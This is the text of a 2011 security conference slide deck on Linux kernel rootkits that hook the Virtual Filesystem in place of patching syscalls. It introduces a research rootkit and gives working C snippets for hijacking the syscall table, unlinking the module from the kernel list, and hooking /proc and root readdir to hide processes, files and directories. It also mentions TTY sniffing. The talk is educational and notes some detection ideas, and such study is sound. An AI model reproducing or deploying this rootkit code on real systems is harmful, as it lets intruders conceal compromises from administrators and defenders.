Post on 07-Jul-2015
Linux rootkits without syscall patching,
(the VFS way)
Confraria SECURITY & IT – 28 Set 2011
#> whoami
Ricardo Mourato – 25 yo
Computer Science Degree
InfoSec & SuperBock Stout addicted
OS X, Slackware, FreeBSD, OpenBSD, Solaris fanatic
Java, .Net, Python, Ruby, C, C++, ASM Lover
Windows (All versions) , Perl (All versions) and Printers (Yes,
they came from hell !) hater
root, right here :)
2
Agenda
Linux rootkits – brief talk
Linux 2.{5,6} kernel – what changed ?
The Virtual Filesystem (VFS)
Meet /proc, our friend!
Introducing
Show time
Retrospect
Questions & Answers
3
Linux rootkits – how they were?
In the beginning…
User-land Trojaned binaries mostly
Easy to spot
Easy to code
However, hard to hide!
LRK5 was a good bastard…
4
Linux rootkits – how they were?
Not so far away…
The Kernel-land approach
Loadable Kernel Modules or /dev/kmem “patching”
Syscall patching
Easy to code
Less easy to find
Adore & suckit were also good bastards!
5
Linux rootkits – how they were?
extern void *sys_call_table[];
int init_module(void) {
original_call = sys_call_table[__NR_open];
sys_call_table[__NR_open] = evil_open;
return 0;
}
6
Linux 2.{5,6} – what changed?
Main change:
OMG! sys_call_table[] no longer exported!!!
Even if you find it, it will be read-only
Workaround:
Find IDT
Find the 0x80 interrupt
Get the system_call() function location
Use gdb kung fu and search memory for sys_call_table[] within
this function
7
Linux 2.{5,6} – what changed?
8
$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
…
0xc0106bf4 : call *0xc01e0f18(,%eax,4)
…
(gdb) print &sys_call_table
$1 = ( *) 0xc01e0f18
The Virtal Filesystem
9
Is the primary interface to underlying filesystems (common file model)
Exports a set of interfaces for every individual filesystem
Each filesystem must “implement” this interface in order to become a
common file model
Some interesting players are:
struct dentry;
struct file_operations;
struct inode_operations;
/proc is our friend
10
So… everything in linux “is a file” right?
Including the ones located at /proc even if “in memory”
And… most user-land tools rely on /proc to get information!
This tools include:
ps
netstat
top
mount
And many, many others…
Remember struct file_operations ?
Introducing Fuckit…
11
Fu Control Kit (just in case!)
A research born VFS rootkit capable of:
Hide itself No sh*t sherlock?
Hide processes
Hide files and directories
TTY sniffing
Module hiding
12
Modules are linked together in a double link list maintained by the
kernel
The kernel have internal functions to “unlink” the unloaded modules
from the list
Just use them wisely
Module hiding
13
static struct module *m = THIS_MODULE;
void hideme(void){
kobject_del(&m->mkobj.kobj);
list_del(&m->list);
}
“Hook” the Virtual Filesystem (/proc)
14
static struct file_operations *proc_fops; remember again?
void hook_proc(void){
/* we are not /proc yet */
key = create_proc_entry(KEY,0666,NULL);
/* now we become /proc :) */
proc = key->parent;
/* save the original, we will need it later*/
proc_fops = (struct file_operations *)proc->proc_fops;
original_proc_readdir = proc_fops->readdir;
/* tha hook */
proc_fops->readdir = fuckit_proc_readdir;
}
“Hook” the Virtual Filesystem (/)
15
static struct file *f;
int hook_root(void){
f = filp_open("/",O_RDONLY,0600);
if(IS_ERR(f)){
return -1;
}
original_root_readdir = f->f_op->readdir;
f->f_op->readdir=fuckit_root_readdir;
filp_close(f,NULL);
return 0;
}
Process hiding
16
static inline int fuckit_proc_filldir(void *__buf, const char *name, int namelen, loff_t offset,
u64 ino, unsigned d_type){
//our hidden PID :)
if(!strcmp(name,HIDDEN_PID) || !strcmp(name,KEY)){
return 0;
}
return original_filldir(__buf,name,namelen,offset,ino,d_type);
}
static inline int fuckit_proc_readdir(struct file *filp, void *dirent, filldir_t filldir){
//save this, we will need to return it later
original_filldir = filldir;
return original_proc_readdir(filp,dirent,fuckit_proc_filldir);
}
File and Directory hiding
17
static int fuckit_root_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino,
unsigned d_type){
//if is our hidden file/directory return nothing! :)
if(strncmp(name,HIDDEN_DIR,namelen)==0){
return 0;
}
return original_root_filldir(__buf,name,namelen,offset,ino,d_type);
}
static int fuckit_root_readdir(struct file *filp, void *dirent, filldir_t filldir){
//save this, we will need to return it later
original_root_filldir = filldir;
return original_root_readdir(filp,dirent,fuckit_root_filldir);
}
Seeing is believing
18
Retrospect
19
Syscall patching in 2.6 kernel is a true “pain in the a**”
VFS hooks, they also do the job!
It is a good approach, however it has some cons
It is possible to “brute force” /proc for hidden pids
You should let the Linux scheduler do this job!
Hypervisor rootkits will kill -9 every kernel rookits on earth!
References
20
IBM developerWorks “Anatomy of the Linux filesystem”. Internet:
http://www.ibm.com/developerworks/linux/library/l-linux-filesystem/.
[Jan 25, 2011]
WangYao “Rootkit on Linux x86 v2.6” [Apr 21, 2009]
Dump “hideme (ng)”. Internet: http://trace.dump.cz/projects.php [Jan
25, 2011]
Ubra “Process Hiding & The Linux scheduler”. Internet:
http://www.phrack.org/issues.html?issue=63&id=18 [Jan 25, 2011]
21
Questions & Answers
22
?